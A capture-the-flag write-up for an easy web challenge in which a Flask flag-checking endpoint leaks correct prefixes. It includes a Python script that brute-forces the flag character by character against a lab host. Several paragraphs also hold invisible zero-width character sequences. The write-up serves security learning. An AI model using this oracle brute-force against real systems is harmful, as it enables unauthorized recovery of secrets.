← Back to Writeups
CUSTOMEasyWeb

Flag checker

XESXOR9/10/20262 min read
#web#custom#easy#prefix_oracle_bruteforce#response_based_enumeration

Flag checker

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: prefix_oracle_bruteforce, response_based_enumeration

Summary

Task: a Flask/Werkzeug web service lets users verify a flag through a separate /check endpoint. Solution: inspect the frontend JavaScript, detect that the API leaks whether the submitted value is a correct prefix, and brute-force the flag one character at a time until the endpoint returns full success.

Flag checker — Hackerlab

Description

Теперь флаг прежде чем сдать на странице задания, можно проверить через специальный сервис.

English summary: the challenge provides a web service that checks whether a submitted flag is correct. The goal is to understand how the checker works and abuse any information leak in its responses to recover the full flag.

Analysis

Recon showed a simple Flask/Werkzeug application. The root page at / returned HTML that loaded /static/js/main.js, and the JavaScript sent POST requests to /check with a flag parameter. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The frontend logic showed that a JSON response with status === '1' meant the flag was correct. Manual probing of /check revealed an additional state:

  • {"status":"0"} for an incorrect value
  • {"status":"1"} for the full correct flag
  • {"status":"2"} for a correct prefix / partial match

This is the core bug: the validation endpoint leaks whether the supplied string is a correct prefix of the real flag. That turns the endpoint into a prefix oracle, which makes brute-forcing the flag practical one character at a time. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful fingerprinting detail:

  • Server: Werkzeug/3.1.6 Python/3.9.18

Solution

  1. Open / and inspect the page source / loaded files.
  2. Read /static/js/main.js and identify the /check endpoint and flag POST parameter.
  3. Send test requests to /check and observe the three response states.
  4. Start with the known format prefix CODEBY{.
  5. For each next character, try candidates from an allowed charset.
  6. If the response is not status="0", that candidate extends the correct prefix.
  7. Repeat until the service returns {"status":"1"}. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Recovered flag:

text
CODEBY{REDACTED}

Final verification with POST /check returned:

json
{"status":"1"}

Proof of concept

python
#!/usr/bin/env python3
import requests
import string

URL = "http://62.173.140.174:16113/check"
ALPHABET = string.ascii_uppercase + string.ascii_lowercase + string.digits + "{}_-!@#$%^&*()"

flag = "CODEBY{"

while not flag.endswith("}"):
    for ch in ALPHABET:
        candidate = flag + ch
        r = requests.post(URL, data={"flag": candidate}, timeout=5)
        status = r.json()["status"]
        if status != "0":
            flag += ch
            print(flag, status)
            if status == "1":
                print("Final:", flag)
                raise SystemExit
            break

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The important idea is simple: any candidate that changes the response from 0 to 2 is the next correct character. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍